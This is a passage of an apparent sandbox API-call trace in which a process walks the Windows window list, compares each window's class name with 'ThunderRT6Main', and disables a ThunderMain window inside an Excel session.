uCmd=0x2) returned 0x2013a [0128.451] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0128.451] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0128.451] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0128.451] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0128.451] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0128.451] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0128.451] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0128.451] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0128.451] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.451] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.451] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0128.451] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0128.451] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0128.451] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0128.451] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0128.451] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0128.451] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.451] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.451] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0128.451] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0128.451] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0128.451] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0128.451] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0128.452] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0128.452] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.452] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0128.452] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0128.452] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.452] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.452] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0128.452] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0128.452] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0128.452] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0128.452] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0128.452] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0128.452] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.452] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0128.452] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0128.452] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0128.452] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0128.452] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0128.452] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0128.452] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.452] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0128.452] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0128.452] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0128.452] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0128.452] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0128.452] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0128.452] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.452] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0128.452] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0128.453] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.453] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.453] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0128.453] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0128.453] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0128.453] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0128.453] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0128.453] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0128.453] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.453] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.453] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0128.453] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0128.453] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.453] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.453] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0128.453] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0128.453] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0128.453] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0128.453] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.453] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0128.453] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.453] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.453] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0128.453] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0128.453] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.453] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.453] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.453] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0128.453] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.453] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.453] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.453] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0128.453] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.454] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.454] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.454] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0128.454] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0128.454] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0128.454] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0128.454] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0128.454] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.454] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.454] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0128.454] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0128.454] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0128.454] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0128.454] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.454] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0128.454] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0128.454] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0128.454] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0128.454] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0128.454] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.454] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.454] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0128.454] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0128.454] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0128.454] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0128.454] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.454] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0128.454] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0128.454] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0128.454] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0128.454] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0128.454] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0128.454] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0128.454] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0128.455] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0128.455] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.455] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.455] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0128.455] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0128.455] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0128.455] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0128.455] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0128.455] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0128.455] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.455] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.455] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0128.455] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0128.455] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0128.455] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0128.455] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0128.455] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0128.455] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0128.455] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0128.455] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0128.455] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0128.455] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0128.456] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0128.553] GetCurrentThreadId () returned 0xbdc [0128.553] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0128.553] GetDesktopWindow () returned 0x10010 [0128.553] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0128.553] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.553] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.553] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.553] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0128.553] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.553] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.553] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.553] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0128.553] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.553] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.553] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.553] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0128.553] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0128.553] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0128.553] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0128.554] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0128.554] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.554] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.554] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0128.554] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0128.554] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0128.554] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0128.554] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0128.554] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0128.554] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.554] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.554] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.554] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0128.554] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.554] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.554] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.554] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0128.554] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.554] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.554] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.554] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0128.554] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.554] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.554] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.554] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0128.554] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.554] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.554] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.554] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0128.554] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.554] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.554] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.554] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0128.554] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.554] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.555] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.555] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0128.555] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0128.555] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0128.555] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.555] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0128.555] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.555] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.555] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.555] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0128.555] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0128.555] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0128.555] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.555] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0128.555] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0128.555] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0128.555] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.555] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0128.555] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.555] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.555] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0128.555] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0128.555] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0128.555] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0128.555] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.555] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0128.555] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0128.555] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0128.555] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0128.555] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0128.555] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0128.555] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0128.555] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.555] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0128.555] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0128.556] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0128.556] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0128.556] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.556] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.556] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.556] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0128.556] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0128.556] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0128.556] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0128.556] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0128.556] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0128.556] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.556] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0128.556] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0128.556] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0128.556] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0128.556] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0128.556] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0128.556] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.556] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0128.556] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0128.556] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0128.556] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0128.556] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0128.556] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0128.556] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.556] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0128.556] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0128.556] IsWindowEnabled (hWnd=0x20360) returned 1 [0128.556] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0128.556] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0128.556] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0128.556] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0128.556] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0128.557] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0128.557] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0128.557] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 